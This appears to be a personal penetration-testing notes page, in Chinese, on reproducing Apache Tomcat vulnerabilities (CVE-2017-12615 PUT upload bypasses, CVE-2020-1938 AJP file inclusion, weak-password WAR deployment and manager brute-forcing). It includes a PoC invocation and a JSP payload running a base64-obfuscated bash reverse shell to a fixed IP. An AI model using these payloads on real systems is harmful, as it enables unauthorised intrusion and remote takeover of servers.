0x01 CVE-2017-12615
CVE-2017-12615对应的漏洞为任意文件写入,主要影响的是Tomcat的7.0.0-7.0.81这几个版本
流程:
抓包,修改为put请求就行。
PUT /test.txt HTTP/1.1
testpoc
响应包为201表示成功
同理可以上传冰蝎马这些东西
上传这里可能会404,所以需要绕过
1.Windows下不允许文件以空格结尾
以PUT /test.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格
2.Windows NTFS流
Put/test.jsp::$DATA HTTP/1.1
3./在文件名中是非法的,也会被去除(Linux/Windows)
Put/test.jsp/ Http:/1.1
0x02 CVE-2020-1938
漏洞复现
我复现了一下,感觉这个洞比较鸡肋
首先寻找poc
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
cd CNVD-2020-10487-Tomcat-Ajp-lfi
python CNVD-2020-10487-Tomcat-Ajp-lfi.py #py2环境
查看文件
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f /WEB-INF/web.xml
反弹shell
生成一个test.txt
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>
然后想办法把txt传入服务器。
监听端口
使用poc反弹shell
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.180.139 -p 8009 -f test.txt
也可以使用msf,这里就不细说了,反正感觉有点鸡肋
0x03 CVE-2019-0232
2333
0x04 弱口令+war包部署
这个洞是tomcat最好用的
0x05 暴力破解
可以使用msf的模块 :auxiliary/scanner/http/tomcat_mgr_login
也可以使用burp抓包
参考链接:https://xz.aliyun.com/t/10083#toc-10